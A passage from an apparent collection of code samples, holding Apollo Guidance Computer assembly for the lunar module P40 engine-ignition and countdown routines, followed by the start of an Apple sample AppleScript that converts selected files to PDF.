START\n\t\tDXCH\t-PHASE2\t\t# IF NEEDED.\n\nREDO4.2\t\tCCS\tPHASE5\t\t# IF SERVICER GOING?\n\t\tTCF\tTASKOVER\t# YES, DON'T START IT UP AGAIN.\n\n\t\tTC\tPOSTJUMP\n\t\tCADR\tPREREAD\t\t# PREREAD END THIS TASK\n\n# \t*********************************\n\nULLGTASK\tTC\tONULLAGE\t# THIS COMES AT TIG-7.5 OR TIG-3.5\n\t\tTC\tPHASCHNG\n\t\tOCT\t1\n\t\tTCF\tTASKOVER\n\n# \t*********************************\n\nTIG-5\t\tEXTEND\n\t\tDCA\tNEG0\t\t# INSURE THAT GROUP 3 IS INACTIVE.\n\t\tDXCH\t-PHASE3\n\n\t\tCAF\t5SEC\n\t\tTC\tTWIDDLE\n\t\tADRES\tTIG-0\n\n\t\tTC\tDOWNFLAG\t# RESET IGNFLAG AND ASINFLAG\n\t\tADRES\tIGNFLAG\t\t# \tFOR LIGHT-UP LOGIC.\n\t\tTC\tDOWNFLAG\n\t\tADRES\tASTNFLAG\n\t\t\n\t\tINDEX\tWHICH\n\t\tTCF\t11\n\nP40SJUNK\tCCS\tPHASE3\t\t# (11) P40 AND P42.  S40.13 IN PROGRESS?\n\t\tTCF\tDISPCHNG\t# YES\n\n\t\tCAF\tPRIO20\n\t\tTC\tFINDVAC\n\t\tEBANK=\tTTOGO\n\t\t2CADR\tS40.13\n\n\t\tTC\tPHASCHNG\t# 3.5SPOT FOR S40.13\n\t\tOCT\t00053\nDISPCHNG\tCS\tVB99DEX\t\t# (11)\n\t\tTS\tDISPDEX\n\n# Page 738\t\t\nCOMMON\t\tTC\tPHASCHNG\t# RESTART TIG-0 (4.7SPOT)\n\t\tOCT\t40074\n\t\tTCF\tTASKOVER\n\n# \t*********************************\n\nTIG-0\t\tCS\tFLAGWRD7\t# SET IGNFLAG SINCE TIG HAS ARRIVED\n\t\tMASK\tIGNFLBIT\n\t\tADS\tFLAGWRD7\n\n\t\tTC\tCHECKMM\t\t# IN P63 CASE, THROTTLE-UP IS ZOOMTIME\n\t\tDEC\t63\t\t# AFTER NOMINAL IGNITION, NOT ACTUAL\n\t\tTCF\tIGNYET?\n\t\tCA\tZOOMTIME\n\t\tTC\tWAITLIST\n\t\tEBANK=\tDVCNTR\n\t\t2CADR\tP63ZOOM\n\n\t\tTC\t2PHSCHNG\n\t\tOCT\t40033\n\n\t\tOCT\t05014\n\t\tOCT\t77777\n\nIGNYET?\t\tCAF\tASTNBIT\t\t# CHECK ASTNFLAG:  HAS ASTRONAUT RESPONDED\n\t\tMASK\tFLAGWRD7\t# TO OUR ENGINE ENABLE REQUEST?\n\t\tEXTEND\n\t\tINDEX\tWHICH\n\t\tBZF\t12\t\t# BRANCH IF HE HAS NOT RESPONDED YET\n\nIGNITION\tCS\tFLAGWRD5\t# INSURE ENGONFLG IS SET.\n\t\tMASK\tENGONBIT\n\t\tADS\tFLAGWRD5\n\t\tCS\tPRIO30\t\t# TURN ON THE ENGINE.\n\t\tEXTEND\n\t\tRAND\tDSALMOUT\n\t\tAD\tBIT13\n\t\tEXTEND\n\t\tWRITE\tDSALMOUT\n\t\tEXTEND\t\t\t# SET TEVENT FOR DOWNLINK\n\t\tDCA\tTIME2\n\t\tDXCH\tTEVENT\n\n\t\tEXTEND\t\t\t# UPDATE TIG USING TGO FROM S40.13\n\t\tDCA\tTGO\n\t\tDXCH\tTIG\n\t\tEXTEND\n\t\tDCA\tTIME2\n\t\tDAS\tTIG\n\n# Page 739\n\t\tCS\tFLUNDBIT\t# PERMIT GUIDANCE LOOP DISPLAYS\n\t\tMASK\tFLAGWRD8\n\t\tTS\tFLAGWRD8\n\n\t\tINDEX\tWHICH\n\t\tTCF\t13\n\nP63IGN\t\tEXTEND\t\t\t# (13)\tINITIATE BURN DISPLAYS\n\t\tDCA\tDSP2CADR\n\t\tDXCH\tAVGEXIT\n\n\t\tCA\tZ\t\t# ASSASSINATE CLOKTASK\n\t\tTS\tDISPDEX\n\n\t\tCS\tFLAGWRD9\t# SET FLAG FOR P70-P71\n\t\tMASK\tLETABBIT\n\t\tADS\tFLAGWRD9\n\t\t\n\t\tCS\tFLAGWRD7\t# SET SWANDISP TO ENABLE R10.\n\t\tMASK\tSWANDBIT\n\t\tADS\tFLAGWRD7\n\t\t\n\t\tCS\tPULSES\t\t# MAKE SURE DAP IS NOT IN MINIMUM-IMPULSE\n\t\tMASK\tDAPBOOLS\t# MODE, IN CASE OF SWITCH TO P66\n\t\tTS\tDAPBOOLS\n\n\t\tEXTEND\t\t\t# INITIALIZE TIG FOR P70 AND P71.\n\t\tDCA\tTIME2\n\t\tDXCH\tTIG\n\n\t\tCAF\tZERO\t\t# INITIALIZE WCHPHASE, AND FLPASS0\n\t\tTS\tWCHPHASE\n\t\tTS\tWCHPHOLD\t# ALSO WHCPHOLD\n\t\tCA\tTWO\n\t\tTS\tFLPASS0\n\n\t\tTCF\tP42IGN\nP40IGN\t\tCS\tFLAGWRD5\t# (13)\n\t\tMASK\tNOTHRBIT\n\t\tEXTEND\n\t\tBZF\tP42IGN\n\t\tCA\tZOOMTIME\n\t\tTC\tWAITLIST\n\t\tEBANK=\tDVCNTR\n\t\t2CADR\tP40ZOOM\n\nP63IGN1\t\tTC\t2PHSCHNG\n\t\tOCT\t40033\t\t# 3.3SPOT FOR ZOOM RESTART.\n\t\tOCT\t05014\t\t# TYPE C RESTARTS HERE IMMEDIATELY\n\t\tOCT\t77777\n\n# Page 740\n\t\tTCF\tP42IGN\nP12IGN\t\tCAF\tEBANK6\n\t\tTS\tEBANK\n\t\tEBANK=\tAOSQ\n\n\t\tCA\tIGNAOSQ\t\t# INITIALIZE DAP BIAS ACCELERATION\n\t\tTS\tAOSQ\t\t# ESTIMATES AT P12 IGNITION.\n\t\tCA\tIGNAOSR\n\t\tTS\tAOSR\n\n\t\tCAF\tEBANK7\n\t\tTS\tEBANK\n\t\tEBANK=\tDVCNTR\n\nABRTIGN\t\tCA\tZ\t\t# (13) KILL CLOKTASK\n\t\tTS\tDISPDEX\n\n\t\tEXTEND\t\t\t# CONNECT ASCENT GYIDANCE TO SERVICER.\n\t\tDCA\tATMAGADR\n\t\tDXCH\tAVGEXIT\n\n\t\tCS\tFLAGWRD7\t# ENABLE R10.\n\t\tMASK\tSWANDBIT\n\t\tADS\tFLAGWRD7\n\nP42IGN\t\tCS\tDRIFTBIT\t# ENSURE THAT POWERED-FLIGHT SWITCHING\n\t\tMASK\tDAPBOOLS\t# CURVES ARE USED.\n\t\tTS\tDAPBOOLS\n\t\tCAF\tIMPULBIT\t# EXAMINE IMPULSE SWITCH\n\t\tMASK\tFLAGWRD2\n\t\tCCS\tA\n\t\tTCF\tIMPLBURN\n\nDVMONCON\tTC\tDOWNFLAG\n\t\tADRES\tIGNFLAG\t\t# CONNECT DVMON\n\t\tTC\tDOWNFLAG\n\t\tADRES\tASTNFLAG\n\t\tTC\tDOWNFLAG\n\t\tADRES\tIDLEFLAG\n\n\t\tTC\tPHASCHNG\n\t\tOCT\t40054\n\n\t\tTC\tFIXDELAY\t# TURN ULLAGE OFF HALF A SECOND AFTER\n\t\tDEC\t50\t\t# LIGHT UP.\n\nULLAGOFF\tTC\tNOULLAGE\n\nWAITABIT\tEXTEND\t\t\t# KILL GROUP 4\n\t\tDCA\tNEG0\n# Page 741\n\t\tDXCH\t-PHASE4\n\n\t\tTCF\tTASKOVER\n\nTIGTASK\t\tTC\tPOSTJUMP\t# (12)\n\t\tCADR\tTIGTASK1\n\n#\t********************************\n\n\t\tBANK\t31\n\t\tSETLOC\tP40S3\n\t\tBANK\n\t\tCOUNT*\t$$/P40\n\nTIGTASK1\tCAF\tPRIO16\n\t\tTC\tNOVAC\n\t\tEBANK=\tTRKMKCNT\n\t\t2CADR\tTIGNOW\n\n\t\tTC\tPHASCHNG\n\t\tOCT\t6\t\t# KILL GROUP 6\n\n\t\tTCF\tTASKOVER\n\n#\t********************************\n\nP63ZOOM\t\tEXTEND\n\t\tDCA\tLUNLANAD\n\t\tDXCH\tAVEGEXIT\n\n\t\tTC\tIBNKCALL\n\t\tCADR\tFLATOUT\n\t\tTCF\tP40ZOOMA\n\nP40ZOOM\t\tCAF\tBIT13\n\t\tTS\tTHRUST\n\t\tCAF\tBIT4\n\n\t\tEXTEND\n\t\tWOR\tCHAN14\n\nP40ZOOMA\tTC\tPHASCHNG\n\t\tOCT\t3\n\t\tTCF\tTASKOVER\n\n\t\tEBANK=\tDVCNTR\nLUNLANAD\t2CADR\tLUNLAND\n\n# Page 742\nZOOM\t\t=\tP40ZOOMA\n\t\tBANK\t36\n\t\tSETLOC\tP40S\n\t\tBANK\n\t\tCOUNT*\t$$/P40\n\n#\t********************************\n\nCOMFAIL\t\tTC\tUPFLAG\t\t# (15)\n\t\tADRES\tIDLEFLAG\n\t\tTC\tUPFLAG\t\t# SET FLAG TO SUPRESS CONFLICTING DISPLAY\n\t\tADRES\tFLUNDISP\n\t\tCAF\tFOUR\t\t# RESET DVMON\n\t\tTS\tDVCNTR\n\t\tCCS\tPHASE6\t\t# CLOCKTASK ACTIVE?\n\t\tTCF\t+3\t\t# YES\n\t\tTC\tBANKCALL\t# OTHERWISE, START IT UP\n\t\tCADR\tSTCLOK1\n \t+3\tCS\tVB97DEX\n \t\tTS\tDISPDEX\n\t\tTC\tPHASCHNG\t# TURN OFF GROUP 4.\n\t\tOCT\t00004\n\t\tTCF\tENDOFJOB\n\nCOMFAIL1\tINDEX\tWHICH\n\t\tTCF\t2\n\nCOMFAIL3\tCA\tZ\t\t# (15)\tKILL CLOKTASK USING Z\n\t\tTCF\t+2\n\nCOMFAIL4\tCS\tCNTDNDEX\n\t\tTS\tDISPDEX\n\n\t\tTC\tDOWNFLAG\t# RECONNECT DV MONITOR\n\t\tADRES\tIDLEFLAG\n\t\tTC\tDOWNFLAG\t# PERMIT GUIDANCE LOOP DISPLAYS\n\t\tADRES\tFLUNDISP\n\t\tTCF\tENDOFJOB\n\nCOMFAIL2\tTC\tPHASCHNG\t# KILL ZOOM RESTART PROTECTION\n\t\tOCT\t00003\n\n\t\tINHINT\n\t\tTC\tKILLTASK\t# KILL ZOOM IN CASE IT'S STILL TO COME\n\t\tCADR\tZOOM\n\t\tTC\tIBNKCALL\t# COMMAND ENGINE OFF\n\t\tCADR\tENGINOF4\n\t\tTC\tUPFLAG\t\t# SET THE DRIFT BIT FOR THE DAP.\n\t\tADRES\tDRIFTDFL\n# Page 743\n\t\tTC\tINVFLAG\t\t# USE OTHER RCS SYSTEM\n\t\tADRES\tAORBTFLG\n\t\tTC\tUPFLAG\t\t# TURN ON ULLAGE\n\t\tADRES\tULLAGFLG\n\t\tCAF\tBIT1\n\t\tINHINT\n\t\tTC\tTWIDDLE\n\t\tADRES\tTIG-5\n\t\tTCF\tENDOFJOB\n\n#\t***********************************\n#\tSUBROUTINES OF THE IGNITION ROUTINE\n#\t***********************************\n\nINVFLAG\t\tCA\tQ\n\t\tTC\tDEBIT\n\t\tCOM\n\t\tEXTEND\n\t\tRXOR\tLCHAN\n\t\tTCF\tCOMFLAG\n\n#\t***********************************\n\nNOULLAGE\tCS\tULLAGER\t\t# MUST BE CALLED IN A TASK OR UNDER INHINT\n\t\tMASK\tDAPBOOLS\n\t\tTS\tDAPBOOLS\n\t\tTC\tQ\n\n#\t***********************************\n\nONULLAGE\tCS\tDAPBOOLS\t# TURN ON ULLAGE.  MUST BE CALLED IN\n\t\tMASK\tULLAGER\t\t# A TASK OR WHILE INHINTED.\n\t\tADS\tDAPBOOLS\n\t\tTC\tQ\n\n# \t***********************************\n\nSTCLOK1\t\tCA\tZERO\t\t# THIS ROUTINE STARTS THE COUNT-DOWN\nSTCLOK2\t\tTS\tDISPDEX\t\t# (CLOKTASK AND CLOKJOB).  SETTING\nSTCLOK3\t\tTC\tMAKECADR\t# SETTING DISPDEX POSITIVE KILLS IT.\n\t\tTS\tTBASE4\t\t# RETURN SAVE (NOT FOR RESTARTS).\n\t\tEXTEND\n\t\tDCA\tTIG\n\t\tDXCH\tMPAC\n\t\tEXTEND\n\t\tDCS\tTIME2\n# Page 744\t\t\n\t\tDAS\tMPAC\t\t# HAVE TIG -- TIME2, UNDOUBTEDLY A + NUMBER\n\t\tTC\tTPAGREE\t\t# POSITIVE, SINCE WE PASSED THE\n\t\tCAF\t1SEC\t\t# 45 SECOND CHECK.\n\t\tTS\tQ\n\t\tDXCH\tMPAC\n\t\tMASK\tLOW5\t\t# RESTRICT MAGNITUDE OF NUMBER IN A\n\t\tEXTEND\n\t\tDV\tQ\n\t\tCA\tL\t\t# GET REMAINDER\n\t\tAD\tTWO\n\t\tINHINT\n\t\tTC\tTWIDDLE\n\t\tADRES\tCLOKTASK\n\t\tTC\t2PHSCHNG\n\t\tOCT\t40036\t\t# 6.3SPOT FOR CLOKTASK\n\t\tOCT\t05024\n\t\tOCT\t13000\n\n\t\tCA\tTBASE4\n\t\tTC\tBANKJUMP\n\nCLOKTASK\tCS\tTIME1\t\t# SET TBASE6 FOR GROUP 6 RESTART\n\t\tTS\tTBASE6\n\n\t\tCCS\tDISPDEX\n\t\tTCF\tKILLCLOK\n\t\tNOOP\n\t\tCAF\tPRIO27\n\t\tTC\tNOVAC\n\t\tEBANK=\tTTOGO\n\t\t2CADR\tCLOKJOB\n\n\t\tTC\tFIXDELAY\t# WAIT A SECOND BEFORE STARTING OVER\n\t\tDEC\t100\n\t\tTCF\tCLOKTASK\n\nKILLCLOK\tEXTEND\t\t\t# KILL RESTART\n\t\tDCA\tNEG0\n\t\tDXCH\t-PHASE6\n\t\tTCF\tTASKOVER\n\nCLOKJOB\t\tEXTEND\n\t\tDCS\tTIG\n\t\tDXCH\tTTOGO\n\t\tEXTEND\n# Page 745\t\t\n\t\tDCA\tTIME2\n\t\tDAS\tTTOGO\n\t\tINHINT\n\t\tCCS\tDISPDEX\t\t# IF DISPDEX HAS BEEN SET POSITIVE BY A\n\t\tTCF\tENDOFJOB\t# TASK OR A HIGHER PRIORITY JOB SINCE THE\n\t\tTCF\tENDOFJOB\t# LAST CLOKTASK, AVOID USING IT AS AN\n\t\tCOM\t\t\t# INDEX.\n\t\tRELINT\t\t\t# ***** DISPDEX MUST NEVER B -0 *****\n\t\tINDEX\tA\n\t\tTCF\tDISPNOT -1\t# (-1 DUE TO EFFECT OF CCS)\n\nVB97DEX\t\t=\tOCT35\t\t# NEGATIVE OF THIS IS PROPER FOR DISPDEX\n\n \t-35\tCS\tZERO\t\t# INDICATE VERB 97 PASTE\n \t\tTS\tNVWORD1\n\t\tCA\tNVWORD \t+2\t# NVWORD+2 CONTAINS V06 & APPROPRIATE NOUN\n\t\tTC\tBANKCALL\n\t\tCADR\tCLOCPLAY\n\t\tTCF\tSTOPCLOK\t# TERMINATE CLOKTASK ON THE WAY TO P00H\n\t\tTCF\tCOMFAIL1\n\t\tTCF\tCOMFAIL2\n\n\t\t\t\t\t# THIS DISPLAY IS CALLED VIA ASTNCLOK\n \t-25\tCAF\tV06N61\t\t# IT IS PRIMARILY USED BY THE CREW IN P63\n \t\tTC\tBANKCALL\t# TO RESET HIS EVENT TIMER TO AGREE WITH\n\t\tCADR\tREFLASH\t\t# TIG.\n\t\tTCF\tSTOPCLOK\n\t\tTCF\tASTNRETN\n\t\tTCF\t-6\n\nCNTDNDEX\t=\tLOW4\t\t# OCT17:  NEGATIVE PROPER FOR DISPDEX\n\n \t-17\tINDEX\tWHICH\t\t# THIS DISPLAY COMES UP AT ONE SECOND\n\t\t# Was CAF --- RSB 2009\n \t\tCA\t0\t\t# INTERVALS.  IT IS NORMALLY OPERATED\n\t\tTC\tBANKCALL\t# BETWEEN TIG-30 SECONDS AND TIG-5 SECONDS\n\t\tCADR\tREGODSP\t\t# REGODSP DOES ITS OWN TCF ENDOFJOB\n\nVB99DEX\t\t=\tELEVEN\t\t# OCT13:  NEGATIVE PROPER FOR DISPDEX\n\nV99RECYC\tEQUALS\n\n \t-13\tCS\tBIT9\t\t# INDICATE VERB 99 PASTE\n \t\tTS\tNVWORD1\n\t\tINDEX\tWHICH\t\t# THIS IS THE \"PLEASE ENABLE ENGINE\"\n\t\t# Was CAF --- RSB 2004\n\t\tCA\t0\t\t# DISPLAY; IT IS INITIATED AT TIG-5 SEC.\n\t\tTC\tBANKCALL\t# THE DISPLAY IS A V99NXX, WHERE XX IS\n\t\tCADR\tCLOCPLAY\t# NOUN THAT HAD PREVIOUSLY BEEN DISPLAYED\n\t\tTCF\tSTOPCLOK\t# TERMINATE GOTOP00H TURNS OFF ULLAGE.\n\t\tTCF\t*PROCEED\n\t\tTCF\t*ENTER\n\n# Page 746\nBLANKDEX\t=\tTWO\t\t# NEGATIVE OF THIS IS PROPER FOR DISPDEX\n\n\t-2\tTC\tBANKCALL\t# BLANK DSKY.  THE DSKY IS BLANKED FOR\n \t\tCADR\tCLEANDSP\t# 5 SECONDS AT TIG-35 TO INDICATE THAT\nDISPNOT\t\tTCF\tENDOFJOB\t# AVERAGE G IS STARTING.\n\nSTOPCLOK\tTC\tNULLCLOK\t# STOP CLOKTASK & TURN OFF ULLAGE ON THE\n\t\tTCF\tGOTOP00H\t# WAY TO P00 (GOTOP00H RELINTS)\n\nNULLCLOK\tINHINT\n\t\tEXTEND\n\t\tQXCH\tP40/RET\n\t\tTC\tNOULLAGE\t# TURN OFF ULLAGE ...\n\t\tTC\tKILLTASK\t#\tDON'T LET IT COME ON, EITHER ...\n\t\tCADR\tULLGTASK\n\t\tTC\tPHASCHNG\t#\t\tNOT EVEN IF THERE'S A RESTART.\n\t\tOCT\t1\n\t\tCA\tZ\t\t# KILL CLOKTASK\n\t\tTS\tDISPDEX\n\t\tTC\tP40/RET\n\nASTNRETN\tTC\tPHASCHNG\n\t\tOCT\t04024\n\t\tCAF\tZERO\t\t# STOP DISPLAYING BUT KEEP RUNNING\n\t\tTS\tDISPDEX\n\t\tCAF\tPRIO13\n\t\tTC\tFINDVAC\n\t\tEBANK=\tSTARIND\n\t\t2CADR\tASTNRET\n\n\t\tTCF\tENDOFJOB\n\n*PROCEED\tTC\tUPFLAG\n\t\tADRES\tASTNFLAG\n\n\t\tTCF\tIGNITE\n\n*ENTER\t\tINHINT\n\t\tINDEX\tWHICH\n\t\tTCF\t3\n\nGOPOST\t\tCAF\tPRIO12\t\t# (3) MUST BE LOWER PRIORITY THAN CLOKJOB\n\t\tTC\tFINDVAC\n\t\tEBANK=\tTTOGO\n\t\t2CADR\tPOSTBURN\n\n# Page 747\n\t\tINHINT\t\t\t# SET UP THE DAP FOR COASTING FLIGHT.\n\t\tTC\tIBNKCALL\n\t\tCADR\tALLCOAST\n\t\tTC\tNULLCLOK\n\t\tTC\tPHASCHNG\t# 4.13 RESTART FOR POSTBURN\n\t\tOCT\t00134\n\n\t\tTCF\tENDOFJOB\n\nGOCUTOFF\tCAF\tPRIO17\t\t# (3)\n\t\tTC\tFINDVAC\n\t\tEBANK=\tTGO\n\t\t2CADR\tCUTOFF\n\n\t\tTC\tDOWNFLAG\n\t\tADRES\tFLUNDISP\n\n\t\tINHINT\t\t\t# SET UP THE DAP FOR COASTING FLIGHT.\n\t\tTC\tIBNKCALL\n\t\tCADR\tALLCOAST\n\t\tTC\tNULLCLOK\n\t\tTC\tPHASCHNG\n\t\tOCT\t07024\n\t\tOCT\t17000\n\t\tEBANK=\tTGO\n\t\t2CADR\tCUTOFF\n\n\t\tTCF\tENDOFJOB\n\nIGNITE\t\tCS\tFLAGWRD7\t# (2)\n\t\tMASK\tIGNFLBIT\n\t\tCCS\tA\n\t\tTCF\tIGNITE1\n\t\tCAF\tBIT1\n\t\tINHINT\n\t\tTC\tTWIDDLE\n\t\tADRES\tIGNITION\n\n\t\tCAF\tOCT23\t\t# IMMEDIATE RESTART AT IGNITION\n\t\tTS\tL\n\t\tCOM\n\t\tDXCH\t-PHASE4\n\nIGNITE1\t\tCS\tCNTDNDEX\t# RESTORE OLD DISPLAY.\n\t\tTS\tDISPDEX\n\n\t\tTCF\tENDOFJOB\n\n# Page 748\n#\t********************************\n\nP40ALM\t\tTC\tALARM\t\t# PROGRAM SELECTION NOT CONSISTENT WITH\n\t\tOCT\t1706\t\t# VEHICLE CONFIGURATION\n\nREP40ALM\tCAF\tV05N09\t\t# (14)\n\t\tTC\tBANKCALL\n\t\tCADR\tGOFLASH\n\n\t\tTCF\tGOTOP00H\t# V34E \t\tTERMINATE\n\t\tTCF\t+2\t\t# PROCEED \tCHECK FOR P42\n\t\tTCF\tREP40ALM\t# V32E\t\tREDISPLAY ALARM\n\n\t\tINDEX\tWHICH\t\t# FOR P42, ALLOW CREW TO PRECEED EVEN\n\t\tTCF\t14\t\t# THOUGH VEHICLE IS UNSTAGED.\n\n#\t********************************\n\n\t\tBANK\t31\n\t\tSETLOC\tP40S2\n\t\tBANK\n\n\t\tCOUNT*\t$$/P40\n\nP40AUTO\t\tTC\tMAKECADR\t# HELLO THERE.\n\t\tTS\tTEMPR60\t\t# FOR GENERALIZED RETURN TO OTHER BANKS.\nP40A/P\t\tTC\tBANKCALL\t# SUBROUTINE TO CHECK PGNCS CONTROL\n\t\tCADR\tG+N,AUTO\t# AND AUTO STABILIZATION MODES\n\t\tCCS\tA\t\t# +0 INDICATES IN PGNCS, IN AUTO\n\t\tTCF\tTURNITON\t# + INDICATES NOT IN PGNCS AND/OR AUTO\n\t\tCAF\tAPSFLBIT\t# ARE WE ON THE DESCENT STAGE?\n\t\tMASK\tFLGWRD10\n\t\tCCS\tA\n\t\tTCF\tGOBACK\t\t# RETURN\n\t\tCAF\tBIT5\t\t# YES, CHECK FOR AUTO-THROTTLE MODE\n\t\tEXTEND\n\t\tRAND\tCHAN30\n\t\tEXTEND\n\t\tBZF\tGOBACK\t\t# IN AUTO-THROTTLE MODE -- RETURN\nTURNITON\tCAF\tP40A/PMD\t# DISPLAYS V50N25 R1=203 PLEASE PERFORM\n\t\tTC\tBANKCALL\t# CHECKLIST 203 TURN ON PGNCS ETC.\n\t\tCADR\tGOPERF1\n\t\tTCF\tGOTOP00H\t# V34E TERMINATE\n\t\tTCF\tP40A/P\t\t# RECYCLE\nGOBACK\t\tCA\tTEMPR60\n\t\tTC\tBANKJUMP\t# GOODBYE.  COME AGAIN SOON.\n\nP40A/PMD\tOCT\t00203\n\n# Page 749\n\t\tBANK\t36\n\t\tSETLOC\tP40S\n\t\tBANK\n\n\t\tCOUNT*\t$$/P40\n\n#\t**********************************\n#\tCONSTANTS FOR THE IGNITION ROUTINE\n#\t**********************************\n\nSERVCADR\t=\tP63TABLE +7\n\nP40ADRES\tADRES\tP40TABLE\n\nP41ADRES\tADRES\tP41TABLE -5\n\nP42ADRES\tADRES\tP42TABLE\n\n\t\tEBANK=\tDVCNTR\nDSP2CADR\t2CADR\tP63DISPS -2\n\n\t\tEBANK=\tDVCNTR\nATMAGADR\t2CADR\tATMAG\n\n?\t\t=\tGOTOP00H\n\nD29.9SEC\t2DEC\t2990\n\nS24.9SEC\tDEC\t2490\n\n4.9SEC\t\tDEC\t490\n\nOCT20\t\t=\tBIT5\n\nV06N61\t\tVN\t0661\n\n# Page 750\n# KILLTASK\n# MOD NO:  NEW PROGRAM\n# MOD BY:  COVELLI\n#\n# FUNCTIONAL DESCRIPTION:\n#\n#\tKILLTASK IS USED TO REMOVE A TASK FROM THE WAITLIST BY SUBSTITUTING A NULL TASK CALLED `NULLTASK' (OF COURSE),\n#\tWHICH MERELY DOES A TC TASKOVER.  IF THE SAME TASK IS SCHEDULED MORE THAN ONCE, ONLY THE ONE WHICH WILL OCCUR\n#\tFIRST IS REMOVED.  IF THE TASK IS NOT SCHEDULED, KILLTASK TAKES NO ACTION AND RETURNS WITH NO ALARM.  KILLTASK\n#\tLEAVES INTERRUPTS INHIBITED SO CALLER MUST RELINT\n#\n# CALLING SEQUENCE\n#\tL\tTC\tKILLTASK\t# IN FIXED-FIXED\n#\tL+1\tCADR\t????????\t# CADR (NOT 2CADR) OF TASK TO BE REMOVED.\n#\tL+2\t(RELINT)\t\t# RETURN\n#\n# EXIT MODE:  AT L+2 OF CALLING SEQUENCE.\n#\n# ERASABLE INITIALIZATION:  NONE.\n#\n# OUTPUT:  2CADR OF NULLTASK IN LST2\n#\n# DEBRIS:  ITEMP1 - ITEMP4, A, L, Q.\n\n\t\tEBANK=\tLST2\n\t\tBLOCK\t3\t\t# KILLTASK MUST BE IN FIXED-FIXED.\n\t\tSETLOC\tFFTAG6\n\t\tBANK\n\t\tCOUNT*\t$$/KILL\nKILLTASK\tCA\tKILLBB\n\t\tINHINT\n\t\tLXCH\tA\n\t\tINDEX\tQ\n\t\tCA\t0\t\t# GET CADR.\n\t\tLXCH\tBBANK\n\t\tTCF\tKILLTSK2\t# CONTINUE IN SWITCHED FIXED.\n\n\t\tEBANK=\tLST2\nKILLBB\t\tBBCON\tKILLTSK2\n\n\t\tBANK\t27\n\n\t\tSETLOC\tP40S1\n\t\tBANK\n\t\tCOUNT*\t$$/KILL\n\nKILLTSK2\tLXCH\tITEMP2\t\t# SAVE CALLER'S BBANK\n# Page 751\n\t\tINCR\tQ\n\t\tEXTEND\n\t\tQXCH\tITEMP1\t\t# RETURN 2ADR IN ITEMP1,ITEMP2\n\n\t\tTS\tITEMP3\t\t# CADR IS IN A\n\t\tMASK\tLOW10\n\t\tAD\tBIT11\n\t\tTS\tITEMP4\t\t# GENADR OF TASK\n\n\t\tCS\tLOW10\n\t\tMASK\tITEMP3\n\t\tTS\tITEMP3\t\t# FBANK OF TASK\n\n\t\tZL\nADRSCAN\t\tINDEX\tL\n\t\tCS\tLST2\n\t\tAD\tITEMP4\t\t# COMPARE GENADRS\n\t\tEXTEND\n\t\tBZF\tTSTFBANK\t# IF THEY MATCH, COMPARE FBANKS\nLETITLIV\tCS\tLSTLIM\n\t\tAD\tL\n\t\tEXTEND\t\t\t# ARE WE DONE?\n\t\tBZF\tDEAD\t\t# YES -- DONE, SO RETURN\n\t\tINCR\tL\n\t\tINCR\tL\n\t\tTCF\tADRSCAN\t\t# CONTINUE LOOP.\n\nDEAD\t\tDXCH\tITEMP1\n\t\tDTCB\n\nTSTFBANK\tCS\tLOW10\n\t\tINDEX\tL\n\t\tMASK\tLST2 \t+1\t# COMPARE FBANKS ONLY.\n\t\tEXTEND\n\t\tSU\tITEMP3\n\t\tEXTEND\n\t\tBZF\tKILLDEAD\t# MATCH -- KILL IT.\n\t\tTCF\tLETITLIV\t# NO MATCH -- CONTINUE.\n\nKILLDEAD\tCA\tTCTSKOVR\n\t\tINDEX\tL\n\t\tTS\tLST2\t\t# REMOVE TASK BY INSERTING TASKOVER\n\t\tTCF\tDEAD\n\nLSTLIM\t\tEQUALS\tBIT5\t\t# DEC 16\n"
  },
  {
    "path": "samples/AppleScript/Convert To PDF.applescript",
    "content": "(*\nCopyright 2003 Apple Computer, Inc.\n\nYou may incorporate this Apple sample code into your program(s) without\nrestriction.  This Apple sample code has been provided \"AS IS\" and the\nresponsibility for its operation is yours.  You are not permitted to\nredistribute this Apple sample code as \"Apple sample code\" after having\nmade changes.  If you're going to redistribute the code, we require\nthat you make it clear that the code was descended from Apple sample\ncode, but that you've made changes.\n*)\n\nproperty type_list : {\"JPEG\", \"GIFf\", \"PICT\", \"TIFF\", \"PDF\", \"TEXT\"}\nproperty extension_list : {\"jpg\", \"gif\", \"pct\", \"tif\", \"pdf\", \"rtf\"}\n--html is not currently handled\n\non run {}\n\ttell application \"Finder\" to set FinderSelection to the selection as alias list\n\t\n\tset FS to FinderSelection\n\t--Ideally, this list could be passed to the open handler\n\t\n\tset SelectionCount to number of FS -- count\t\n\tif SelectionCount is 0 then\n\t\tset FS to userPicksFolder()\n\telse if the SelectionCount is 1 then\n\t\tset MyPath to path to me\n\t\tif MyPath is item 1 of FS then\n\t\t\t--If I'm a droplet then I was double-clicked\n\t\t\tset FS to userPicksFolder()\n\t\tend if\n\telse\n\t\t--I'm not a double-clicked droplet\n\tend if\n\topen FS\nend run\n\non userPicksFolder()\n\tset these_items to {}\n\tset these_items to (choose file with prompt \"Select a file to convert to PDF:\" of type {\"JPEG\", \"GIFf\", \"PICT\", \"TIFF\", \"TEXT\", \"RTF\"}) as list\nend userPicksFolder\n\non open these_items\n\tset thesefiles to {}\n\tset the item_info to {}\n\trepeat with i from 1 to the count of these_items\n\t\tset this_item to (item i of these_items)\n\t\tset the item_info to info for this_item\n\t\t\n\t\tif folder of the item_info is true then --if the item is a folder\n\t\t\tprocessFolder(this_item)\n\t\telse if ((folder of the item_info is false) and (alias of the item_info is false)) and (the file type of the item_info is in the type_list) or ((the name extension of the item_info) is in the extension_list) then\n\t\t\t\n\t\t\tset theFilePath to (item i of these_items as string)\n\t\t\tset thePOSIXFilePath to POSIX path of theFilePath as string\n\t\t\tprocessFile(thePOSIXFilePath)\n\t\tend if\n\tend repeat\nend open\n\n--process folders \non processFolder(theFolder)\n\tset these_items to list folder theFolder without invisibles\n\trepeat with i from 1 to the count of these_items\n\t\tset this_item to alias ((theFolder as text) & (item i of these_items))\n\t\tset the item_info to info for this_item\n\t\tif folder of the item_info is true then\n\t\t\tprocessFolder(this_item)\n\t\telse if (alias of the item_info is false) and ((the file type of the item_info is in the type_list) or the name extension of the item_info is in the extension_list) then\n\t\t\tset theFilePath to (this_item as string)\n\t\t\tset thePOSIXFilePath to POSIX path of theFilePath as string\n\t\t\tprocessFile(thePOSIXFilePath)\n\t\tend if\n\tend repeat\nend processFolder\n\non processFile(thePOSIXFileName)\n\ttry\n\t\tset terminalCommand to \"\"\n\t\tset convertCommand to \"/System/Library/Printers/Libraries/./convert \"\n\t\tset newFileName to thePOSIXFileName & \".pdf\"\n\t\tset terminalCommand to convertCommand & \"-f \" & 